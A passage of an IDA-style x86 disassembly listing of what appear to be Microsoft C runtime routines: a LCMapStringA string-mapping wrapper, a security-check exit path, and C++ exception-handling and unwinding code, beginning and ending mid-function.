		jmp	loc_41A1BC
; ---------------------------------------------------------------------------


loc_41A09B:				; CODE XREF: sub_419E09+289j
		cmp	eax, [ebp+arg_18]
		jz	loc_41A192
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_41DFA0
		add	esp, 18h
		mov	[ebp+var_34], eax
		cmp	eax, ebx
		jz	short loc_41A094
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4201A0	; LCMapStringA
		mov	esi, eax
		mov	[ebp+var_40], esi
		cmp	esi, ebx
		jz	loc_41A181
		mov	[ebp+ms_exc.disabled], ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_414800
		mov	[ebp+ms_exc.old_esp], esp
		mov	edi, esp
		mov	[ebp+var_44], edi
		push	esi
		push	ebx
		push	edi
		call	sub_41C550
		add	esp, 0Ch
		jmp	short loc_41A112
; ---------------------------------------------------------------------------


loc_41A102:				; DATA XREF: .rdata:stru_4290B8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41A106:				; DATA XREF: .rdata:stru_4290B8o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_419D38
		xor	ebx, ebx
		xor	edi, edi


loc_41A112:				; CODE XREF: sub_419E09+2F7j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		cmp	edi, ebx
		jnz	short loc_41A13D
		push	[ebp+var_40]
		call	sub_414E7D
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41A15A
		push	[ebp+var_40]
		push	ebx
		push	edi
		call	sub_41C550
		add	esp, 0Ch
		mov	[ebp+var_38], 1


loc_41A13D:				; CODE XREF: sub_419E09+30Fj
		push	[ebp+var_40]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_34]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4201A0	; LCMapStringA
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jnz	short loc_41A15E


loc_41A15A:				; CODE XREF: sub_419E09+31Ej
		xor	esi, esi
		jmp	short loc_41A184
; ---------------------------------------------------------------------------


loc_41A15E:				; CODE XREF: sub_419E09+34Fj
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		lea	eax, [ebp+var_40]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_3C]
		call	sub_41DFA0
		add	esp, 18h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		jmp	short loc_41A184
; ---------------------------------------------------------------------------


loc_41A181:				; CODE XREF: sub_419E09+2D0j
		mov	esi, [ebp+var_48]


loc_41A184:				; CODE XREF: sub_419E09+353j
					; sub_419E09+376j
		cmp	[ebp+var_38], ebx
		jz	short loc_41A1AC
		push	edi
		call	sub_414A14
		pop	ecx
		jmp	short loc_41A1AC
; ---------------------------------------------------------------------------


loc_41A192:				; CODE XREF: sub_419E09+295j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4201A0	; LCMapStringA
		mov	esi, eax


loc_41A1AC:				; CODE XREF: sub_419E09+37Ej
					; sub_419E09+387j
		cmp	[ebp+var_34], ebx
		jz	short loc_41A1BA
		push	[ebp+var_34]
		call	sub_414A14
		pop	ecx


loc_41A1BA:				; CODE XREF: sub_419E09+3A6j
		mov	eax, esi


loc_41A1BC:				; CODE XREF: sub_419E09+253j
					; sub_419E09+28Dj
		lea	esp, [ebp-54h]
		call	__SEH_epilog
		retn
sub_419E09	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41A1F6


loc_41A1C5:				; CODE XREF: sub_41A1F6:loc_41A1FFj
		push	8
		push	offset stru_4294F0
		call	__SEH_prolog
		and	dword ptr [ebp-4], 0
		push	0
		push	1
		call	sub_41E1C5
		pop	ecx
		pop	ecx
		jmp	short loc_41A1E9
; END OF FUNCTION CHUNK	FOR sub_41A1F6

; =============== S U B	R O U T	I N E =======================================



sub_41A1E2	proc near		; DATA XREF: .rdata:stru_4294F0o
		xor	eax, eax
		inc	eax
		retn
sub_41A1E2	endp

; ---------------------------------------------------------------------------


loc_41A1E6:				; DATA XREF: .rdata:stru_4294F0o
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_41A1F6


loc_41A1E9:				; CODE XREF: sub_41A1F6-16j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	3
		call	ds:dword_420034	; ExitProcess
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_41A1F6

; =============== S U B	R O U T	I N E =======================================



sub_41A1F6	proc near		; CODE XREF: sub_415459+B4p
					; sub_416662+76Ep ...

; FUNCTION CHUNK AT 0041A1C5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0041A1E9 SIZE 0000000D BYTES

		cmp	ecx, dword_42DEA8
		jnz	short loc_41A1FF
		retn
; ---------------------------------------------------------------------------


loc_41A1FF:				; CODE XREF: sub_41A1F6+6j
		jmp	loc_41A1C5
sub_41A1F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A204	proc near		; CODE XREF: sub_41A7EB+138p

arg_0		= dword	ptr  4

		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41A24F
		lea	edx, [eax+8]
		cmp	byte ptr [edx],	0
		jz	short loc_41A24F
		mov	ecx, [edi+4]
		cmp	eax, ecx
		jz	short loc_41A22A
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA90
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41A24C


loc_41A22A:				; CODE XREF: sub_41A204+14j
		test	byte ptr [edi],	2
		jz	short loc_41A234
		test	byte ptr [esi],	8
		jz	short loc_41A24C


loc_41A234:				; CODE XREF: sub_41A204+29j
		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41A243
		test	byte ptr [esi],	1
		jz	short loc_41A24C


loc_41A243:				; CODE XREF: sub_41A204+38j
		test	al, 2
		jz	short loc_41A24F
		test	byte ptr [esi],	2
		jnz	short loc_41A24F


loc_41A24C:				; CODE XREF: sub_41A204+24j
					; sub_41A204+2Ej ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A24F:				; CODE XREF: sub_41A204+5j
					; sub_41A204+Dj ...
		xor	eax, eax
		inc	eax
		retn
sub_41A204	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A253	proc near		; CODE XREF: sub_41A271+76p
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41A260
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A260:				; CODE XREF: sub_41A253+8j
		call	sub_416E15
		and	dword ptr [eax+80h], 0
		jmp	sub_41AA6F
sub_41A253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A271	proc near		; CODE XREF: sub_41A3A1+117p
					; sub_41A6C4+31p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset stru_429500
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		call	sub_416E15
		add	eax, 80h
		inc	dword ptr [eax]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]


loc_41A299:				; CODE XREF: sub_41A271+8Fj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41A302
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41A2A8
		cmp	esi, [edi+4]
		jl	short loc_41A2AD


loc_41A2A8:				; CODE XREF: sub_41A271+30j
		call	sub_41AAA4


loc_41A2AD:				; CODE XREF: sub_41A271+35j
		mov	eax, esi
		shl	eax, 3
		mov	ecx, [edi+8]
		add	ecx, eax
		mov	esi, [ecx]
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], 1
		cmp	dword ptr [ecx+4], 0
		jz	short loc_41A2DE
		mov	[ebx+8], esi
		push	103h
		push	ebx
		mov	ecx, [edi+8]
		push	dword ptr [ecx+eax+4]
		call	sub_41AAE0


loc_41A2DE:				; CODE XREF: sub_41A271+56j
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_41A2FD
; ---------------------------------------------------------------------------


loc_41A2E4:				; DATA XREF: .rdata:00429510o
		mov	eax, [ebp+ms_exc.exc_ptr]
		call	sub_41A253
		retn
; ---------------------------------------------------------------------------


loc_41A2ED:				; DATA XREF: .rdata:00429514o
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_20]


loc_41A2FD:				; CODE XREF: sub_41A271+71j
		mov	[ebp+var_1C], esi
		jmp	short loc_41A299
; ---------------------------------------------------------------------------


loc_41A302:				; CODE XREF: sub_41A271+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41A324
		cmp	esi, [ebp+arg_C]
		jz	short loc_41A315
		call	sub_41AAA4


loc_41A315:				; CODE XREF: sub_41A271+9Dj
		mov	[ebx+8], esi
		call	__SEH_epilog
		retn
sub_41A271	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A31E	proc near		; DATA XREF: .rdata:stru_429500o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_41A31E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A324	proc near		; CODE XREF: sub_41A271+95p
		call	sub_416E15
		cmp	dword ptr [eax+80h], 0
		jle	short locret_41A33E
		call	sub_416E15
		add	eax, 80h
		dec	dword ptr [eax]

locret_41A33E:				; CODE XREF: sub_41A324+Cj
		retn
sub_41A324	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A33F	proc near		; CODE XREF: sub_41A4E4+5Cp
					; sub_41A7EB+1A8p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset stru_429518
		call	__SEH_prolog
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41A36D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41A36D
		and	[ebp+ms_exc.disabled], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41563C
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_41A36D:				; CODE XREF: sub_41A33F+11j
					; sub_41A33F+1Bj
		call	__SEH_epilog
		retn
sub_41A33F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A373	proc near		; DATA XREF: .rdata:stru_429518o
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
sub_41A373	endp

; ---------------------------------------------------------------------------


loc_41A37C:				; DATA XREF: .rdata:stru_429518o
		mov	esp, [ebp-18h]
		jmp	sub_41AA6F

; =============== S U B	R O U T	I N E =======================================



sub_41A384	proc near		; CODE XREF: sub_41A548+7Cp
					; sub_41A548+FBp ...
		mov	edx, [ecx+4]
		push	esi
		mov	esi, eax
		mov	eax, [ecx]
		add	eax, esi
		test	edx, edx
		jl	short loc_41A39F
		mov	ecx, [ecx+8]
		mov	esi, [edx+esi]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41A39F:				; CODE XREF: sub_41A384+Cj
		pop	esi
		retn
sub_41A384	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3A1	proc near		; CODE XREF: sub_41A6C4+52p

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 0041A4DB SIZE 00000003 BYTES

		push	40h
		push	offset stru_429528
		call	__SEH_prolog
		mov	ebx, ecx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], ebx
		and	[ebp+var_20], 0
		mov	eax, [edi-4]
		mov	[ebp+var_24], eax
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4157DA
		pop	ecx
		pop	ecx
		mov	[ebp+var_30], eax
		call	sub_416E15
		mov	eax, [eax+78h]
		mov	[ebp+var_34], eax
		call	sub_416E15
		mov	eax, [eax+7Ch]
		mov	[ebp+var_38], eax
		call	sub_416E15
		mov	[eax+78h], esi
		call	sub_416E15
		mov	ecx, [ebp+arg_8]
		mov	[eax+7Ch], ecx
		and	[ebp+ms_exc.disabled], 0
		mov	[ebp+ms_exc.disabled], 1
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_C]
		push	edi
		call	sub_41586F
		add	esp, 14h
		mov	[ebp+var_1C], eax
		and	[ebp+ms_exc.disabled], 0
		jmp	loc_41A4C9
; ---------------------------------------------------------------------------


loc_41A426:				; DATA XREF: .rdata:00429538o
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A45E
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41A45E
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41A45E
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+1Ch], 0
		mov	[ebp+var_40], 1
		jz	short loc_41A465


loc_41A45E:				; CODE XREF: sub_41A3A1+96j
					; sub_41A3A1+9Fj ...
		mov	[ebp+var_40], 0


loc_41A465:				; CODE XREF: sub_41A3A1+BBj
		mov	eax, [ebp+var_40]
		retn
; ---------------------------------------------------------------------------


loc_41A469:				; DATA XREF: .rdata:0042953Co
		mov	esp, [ebp+ms_exc.old_esp]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+8]
		mov	[ebp+var_44], eax
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+8]
		mov	[ebp+var_48], eax
		mov	edx, [ecx+10h]
		mov	[ebp+var_4C], edx
		xor	edx, edx


loc_41A486:				; CODE XREF: sub_41A3A1+13Bj
		mov	[ebp+var_50], edx
		cmp	edx, [ecx+0Ch]
		jnb	short loc_41A4B2
		lea	esi, [edx+edx*4]
		mov	ebx, [ebp+var_4C]
		lea	esi, [ebx+esi*4]
		mov	ebx, [esi+4]
		cmp	eax, ebx
		jle	short loc_41A4DB
		cmp	eax, [esi+8]
		jg	short loc_41A4DB
		lea	eax, [ebx+1]
		mov	[ebp+var_48], eax
		mov	edx, [ebp+var_44]
		mov	eax, [edx+eax*8]
		mov	[ebp+var_48], eax


loc_41A4B2:				; CODE XREF: sub_41A3A1+EBj
		push	eax
		push	ecx
		xor	esi, esi
		push	esi
		push	edi
		call	sub_41A271
		add	esp, 10h
		mov	[ebp+var_1C], esi
		mov	[ebp+ms_exc.disabled], esi
		mov	esi, [ebp+arg_0]


loc_41A4C9:				; CODE XREF: sub_41A3A1+80j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41A4E4
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41A3A1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41A3A1


loc_41A4DB:				; CODE XREF: sub_41A3A1+FBj
					; sub_41A3A1+100j
		inc	edx
		jmp	short loc_41A486
; END OF FUNCTION CHUNK	FOR sub_41A3A1

; =============== S U B	R O U T	I N E =======================================



sub_41A4DE	proc near		; DATA XREF: .rdata:stru_429528o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_41A4DE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A4E4	proc near		; CODE XREF: sub_41A3A1+12Cp
		mov	eax, [ebp-24h]
		mov	[edi-4], eax
		push	dword ptr [ebp-30h]
		call	sub_415823
		pop	ecx
		call	sub_416E15
		mov	ecx, [ebp-34h]
		mov	[eax+78h], ecx
		call	sub_416E15
		mov	ecx, [ebp-38h]
		mov	[eax+7Ch], ecx
		cmp	dword ptr [esi], 0E06D7363h
		jnz	short locret_41A547
		cmp	dword ptr [esi+10h], 3
		jnz	short locret_41A547
		cmp	dword ptr [esi+14h], 19930520h
		jnz	short locret_41A547
		cmp	dword ptr [ebp-20h], 0
		jnz	short locret_41A547
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_41A547
		push	dword ptr [esi+18h]
		call	sub_415802
		pop	ecx
		test	eax, eax
		jz	short locret_41A547
		call	sub_415A1A
		push	eax
		push	esi
		call	sub_41A33F
		pop	ecx
		pop	ecx

locret_41A547:				; CODE XREF: sub_41A4E4+2Bj
					; sub_41A4E4+31j ...
		retn
sub_41A4E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A548	proc near		; CODE XREF: sub_41A6C4+Dp

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	8
		push	offset stru_429540
		call	__SEH_prolog
		mov	esi, ecx
		mov	eax, [ebp+arg_4]
		mov	edi, edx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	loc_41A6B2
		cmp	byte ptr [ecx+8], 0
		jz	loc_41A6B2
		mov	ecx, [eax+8]
		test	ecx, ecx
		jnz	short loc_41A584
		test	byte ptr [eax+3], 80h
		jz	loc_41A6B2


loc_41A584:				; CODE XREF: sub_41A548+30j
		mov	eax, [eax]
		test	eax, eax
		js	short loc_41A58E
		lea	edi, [ecx+edi+0Ch]


loc_41A58E:				; CODE XREF: sub_41A548+40j
		and	[ebp+ms_exc.disabled], 0
		push	1
		push	dword ptr [ebx+18h]
		test	al, 8
		jz	short loc_41A5D0
		call	sub_41E375
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41A6A9
		push	1
		push	edi
		call	sub_41E391
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41A6A9
		mov	eax, [ebx+18h]
		mov	[edi], eax


loc_41A5C1:				; CODE XREF: sub_41A548+D1j
		lea	ecx, [esi+8]
		call	sub_41A384
		mov	[edi], eax
		jmp	loc_41A6AE
; ---------------------------------------------------------------------------


loc_41A5D0:				; CODE XREF: sub_41A548+51j
		test	byte ptr [esi],	1
		jz	short loc_41A61B
		call	sub_41E375
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41A6A9
		push	1
		push	edi
		call	sub_41E391
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41A6A9
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D220
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41A6AE
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41A6AE
		jmp	short loc_41A5C1
; ---------------------------------------------------------------------------


loc_41A61B:				; CODE XREF: sub_41A548+8Bj
		cmp	dword ptr [esi+18h], 0
		jnz	short loc_41A654
		call	sub_41E375
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41A6A9
		push	1
		push	edi
		call	sub_41E391
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41A6A9
		push	dword ptr [esi+14h]
		lea	ecx, [esi+8]
		mov	eax, [ebx+18h]
		call	sub_41A384
		push	eax
		push	edi
		call	sub_41D220
		add	esp, 0Ch
		jmp	short loc_41A6AE
; ---------------------------------------------------------------------------


loc_41A654:				; CODE XREF: sub_41A548+D7j
		call	sub_41E375
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41A6A9
		push	1
		push	edi
		call	sub_41E391
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41A6A9
		push	dword ptr [esi+18h]
		call	sub_41E3AD
		pop	ecx
		test	eax, eax
		jz	short loc_41A6A9
		mov	eax, [ebx+18h]
		lea	ecx, [esi+8]
		test	byte ptr [esi],	4
		jz	short loc_41A698
		push	1
		call	sub_41A384
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41563C
		jmp	short loc_41A6AE
; ---------------------------------------------------------------------------


loc_41A698:				; CODE XREF: sub_41A548+13Bj
		call	sub_41A384
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41563C
		jmp	short loc_41A6AE
; ---------------------------------------------------------------------------


loc_41A6A9:				; CODE XREF: sub_41A548+5Cj
					; sub_41A548+6Ej ...
		call	sub_41AAA4


loc_41A6AE:				; CODE XREF: sub_41A548+83j
					; sub_41A548+C1j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_41A6B2:				; CODE XREF: sub_41A548+1Bj
					; sub_41A548+25j ...
		call	__SEH_epilog
		retn
sub_41A548	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6B8	proc near		; DATA XREF: .rdata:stru_429540o
		xor	eax, eax
		inc	eax
		retn
sub_41A6B8	endp

; ---------------------------------------------------------------------------


loc_41A6BC:				; DATA XREF: .rdata:stru_429540o
		mov	esp, [ebp-18h]
		jmp	sub_41AA6F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6C4	proc near		; CODE XREF: sub_41A72B+A2p
					; sub_41A7EB+17Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		test	ecx, ecx
		jz	short loc_41A6D8
		push	ebx
		push	[ebp+arg_0]
		mov	edx, esi
		call	sub_41A548
		pop	ecx
		pop	ecx


loc_41A6D8:				; CODE XREF: sub_41A6C4+5j
		cmp	[ebp+arg_14], 0
		push	[ebp+arg_0]
		jnz	short loc_41A6E4
		push	esi
		jmp	short loc_41A6E7
; ---------------------------------------------------------------------------


loc_41A6E4:				; CODE XREF: sub_41A6C4+1Bj
		push	[ebp+arg_14]


loc_41A6E7:				; CODE XREF: sub_41A6C4+1Ej
		call	sub_415643
		push	dword ptr [edi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_41A271
		mov	eax, [edi+4]
		push	100h
		push	[ebp+arg_10]
		inc	eax
		push	[ebp+arg_C]
		mov	[esi+8], eax
		push	[ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		push	esi
		push	[ebp+arg_0]
		call	sub_41A3A1
		add	esp, 28h
		test	eax, eax
		jz	short loc_41A729
		push	esi
		push	eax
		call	sub_41560C


loc_41A729:				; CODE XREF: sub_41A6C4+5Cj
		pop	ebp
		retn
sub_41A6C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A72B	proc near		; CODE XREF: sub_41A7EB+1D3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 80000003h
		jz	loc_41A7E8
		call	sub_416E15
		cmp	dword ptr [eax+74h], 0
		jz	short loc_41A76A
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4158C0
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A7E8


loc_41A76A:				; CODE XREF: sub_41A72B+1Ej
		mov	esi, [ebp+arg_14]
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_415760
		mov	edi, eax
		mov	eax, [ebp+var_4]
		add	esp, 14h
		cmp	eax, [ebp+var_8]
		jnb	short loc_41A7E7
		push	ebx


loc_41A790:				; CODE XREF: sub_41A72B+B9j
		cmp	esi, [edi]
		jl	short loc_41A7D8
		cmp	esi, [edi+4]
		jg	short loc_41A7D8
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41A7B1
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41A7D8


loc_41A7B1:				; CODE XREF: sub_41A72B+7Ej
		mov	esi, [ebp+arg_4]
		push	1
		push	[ebp+arg_1C]
		lea	ebx, [eax-10h]
		push	[ebp+arg_18]
		xor	ecx, ecx
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_41A6C4
		mov	esi, [ebp+arg_14]
		add	esp, 1Ch


loc_41A7D8:				; CODE XREF: sub_41A72B+67j
					; sub_41A72B+6Cj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 14h
		cmp	eax, [ebp+var_8]
		jb	short loc_41A790
		pop	ebx


loc_41A7E7:				; CODE XREF: sub_41A72B+62j
		pop	edi


loc_41A7E8:				; CODE XREF: sub_41A72B+Fj
					; sub_41A72B+3Dj
		pop	esi
		leave
		retn
sub_41A72B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7EB	proc near		; CODE XREF: sub_41A9CD+93p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		and	byte ptr [ebp+var_1C], 0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		jl	short loc_41A80B
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41A810


loc_41A80B:				; CODE XREF: sub_41A7EB+16j
		call	sub_41AAA4


loc_41A810:				; CODE XREF: sub_41A7EB+1Ej
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx], 0E06D7363h
		push	esi
		push	edi
		jnz	loc_41A9A2
		cmp	dword ptr [ebx+10h], 3
		mov	edi, 19930520h
		jnz	short loc_41A89C
		cmp	[ebx+14h], edi
		jnz	short loc_41A89C
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_41A89C
		call	sub_416E15
		cmp	dword ptr [eax+78h], 0
		jz	loc_41A99A
		call	sub_416E15
		mov	esi, [eax+78h]
		mov	[ebp+arg_0], esi
		call	sub_416E15
		mov	eax, [eax+7Ch]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_1C], 1
		call	sub_41E375
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41A874
		call	sub_41AAA4


loc_41A874:				; CODE XREF: sub_41A7EB+82j
		cmp	dword ptr [esi], 0E06D7363h
		jnz	loc_41A99F
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41A899
		cmp	[eax+14h], edi
		jnz	short loc_41A899
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41A899
		call	sub_41AAA4


loc_41A899:				; CODE XREF: sub_41A7EB+9Cj
					; sub_41A7EB+A1j ...
		mov	ebx, [ebp+arg_0]


loc_41A89C:				; CODE XREF: sub_41A7EB+40j
					; sub_41A7EB+45j ...
		cmp	dword ptr [ebx], 0E06D7363h
		jnz	loc_41A9A2
		cmp	dword ptr [ebx+10h], 3
		jnz	loc_41A9A2
		cmp	[ebx+14h], edi
		jnz	loc_41A9A2
		mov	esi, [ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_415760
		mov	ecx, [ebp+var_8]
		add	esp, 14h
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_4], eax
		jnb	loc_41A98A
		jmp	short loc_41A8E9
; ---------------------------------------------------------------------------


loc_41A8E6:				; CODE XREF: sub_41A7EB+199j
		mov	esi, [ebp+var_18]


loc_41A8E9:				; CODE XREF: sub_41A7EB+F9j
		cmp	[eax], esi
		jg	loc_41A975
		cmp	esi, [eax+4]
		jg	short loc_41A975
		mov	ecx, [eax+0Ch]
		test	ecx, ecx
